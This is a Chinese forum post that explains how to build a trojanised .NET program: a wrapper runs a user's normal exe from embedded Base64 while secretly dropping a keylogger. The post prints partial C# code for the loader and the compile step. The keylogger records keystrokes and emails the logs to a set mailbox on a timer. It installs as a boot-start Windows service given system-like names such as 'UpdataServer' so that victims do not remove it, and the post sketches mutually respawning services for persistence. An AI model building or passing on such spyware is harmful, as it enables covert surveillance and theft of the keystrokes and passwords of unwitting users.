CSkin博客

标题: 【键鼠记录】C# 利用反射方法,修改.Net的exe文件 [打印本页]

作者: qiaoke_song    时间: 2018-12-2 15:50
标题: 【键鼠记录】C# 利用反射方法,修改.Net的exe文件
说明:
笨拙了点,但原理很简单,将一个.Net的exe文件,通过包装,运行的同时,执行其他任务。
static void Main(string[] Args)
{
       …………
//管理员模式运行Test
…………
string str_Normal = 正常程序的Base64的编码;
byte[] ns =Convert.FromBase64String(str_Normal);
Assembly asm_n =Assembly.Load(ns);
    MethodInfoinfo_n = asm_n.EntryPoint;
    ParameterInfo[]parameters_n = info_n.GetParameters();
info_n.Invoke(null, null);
}
public partial class Test : Form
{
    publicTest()
    {
       stringstr_Rep = 要执行的其他任务exe的Base64编码;
       //…写入硬盘
         ……………
       Processpr = new Process();
       //……指向exe文件;
      pr.Start();
       Close();
    }
}

在执行本例子前,先随意编写一个.Net的exe文件,在“被包装exe文件名”指向该文件,其中“监控执行检测间隔(秒):”设置大一些,因为监控程序随着服务开机启动,需windows启动成功后方可正常运行。“建立的服务名”、“服务文件路径和名称”、“监控文件路径和名称”为防止用户删除,放置在windows里面的一些文件夹内部,名字起得系统一些,比如“UpdataServer”等等,就是使用户不知道他是干嘛的,不会删除的那种。
本例子生成的exe文件,除了执行你编写的.Net的exe文件外,监控你设定的多个进程,记录键盘,并按照你设定的时间定时发送键盘记录到你设定的邮箱。
程序里执行的监控代码和安装服务代码为字符串形式,根据你填写的条件,并自动编译为临时文件,并生成包装后的C#代码,自动编译后输出exe文件。
执行该exe文件,看到的为你编写的.Net的exe文件效果,后台建立了开机启动的一个服务,并释放了一个监控exe文件,通过服务执行,并每次开机就执行服务来开启监控。
// 生成键盘监控exe文件
CodeDomProvider codeProvider =CodeDomProvider.CreateProvider("CSharp");
string Output = "MonitoringTmp.~exe";
CompilerParameters parameters = new CompilerParameters();
parameters.ReferencedAssemblies.Add("System.dll");
parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll");
parameters.ReferencedAssemblies.Add("System.ServiceProcess.dll");
parameters.ReferencedAssemblies.Add("System.Drawing.dll");
parameters.ReferencedAssemblies.Add("System.Configuration.dll");
parameters.ReferencedAssemblies.Add("System.Configuration.Install.dll");
parameters.ReferencedAssemblies.Add("System.Runtime.InteropServices.dll");
parameters.ReferencedAssemblies.Add("System.Security.Principal.dll");
parameters.ReferencedAssemblies.Add("System.Threading.dll");
parameters.GenerateExecutable = true;
parameters.CompilerOptions = "-t:winexe";
parameters.OutputAssembly = Output;
CompilerResults results =codeProvider.CompileAssemblyFromSource(
parameters,Code_Source.Creat_RunApp(Code_Source.processName, Code_Source.MailSetup,Code_Source.SendSpear));
源码其中:Code_Source.cs文件里
public static string Creat_RunApp(string _process, string _email, string _sendspear)
为生成键盘监控的C#代码字符串
public static string Creat_Server(string _serverName,string _exefile, string _exepath, string _checkspear)
为生成windows服务的C#代码字符串
public static string Creat_Packing(string _server, string _pack,string _serverpath)
为生成包装exe的C#代码字符串,
通过CodeDomProvider进行编译生成。
注意:parameters.CompilerOptions = "-t:winexe";为生成窗体应用,不能为"-t:exe",否则会弹出cmd窗口。
如需对其他人编写的.Net的exe文件进行包装,需在与其相同的.Net版本重新编译下本程序,否则不能调用。
本例子只适用于.Net编写的exe文件,其他不适用。
如需对监控进行加固,变为用户不可删除,可以修改代码字符串,加入建立多个windows服务,并在监控程序内检测windows服务是否存在,并释放执行windows服务,在服务字符串代码内释放多个exe监控,形成多服务、多exe的相互检测、相互释放,这样用户除非重做系统,否则不能删除该监控,该功能只提供截图,不提供代码。
提供代码的只是建立单一服务、单一监控的,可以删除掉的代码。
windows服务的建立、删除看代码
public static string Creat_Server(string _serverName,string _exefile, string _exepath, string _checkspear)
中的public class ServiceHelper{}字符串。

效果图:

资源下载(不提供核心源码): 包装文件.rar (220.62 KB, 下载次数: 62)


作者: QW去    时间: 2018-12-3 09:28
感谢楼主分享




欢迎光临 CSkin博客 (http://bbs.cskin.net/) Powered by Discuz! X3.2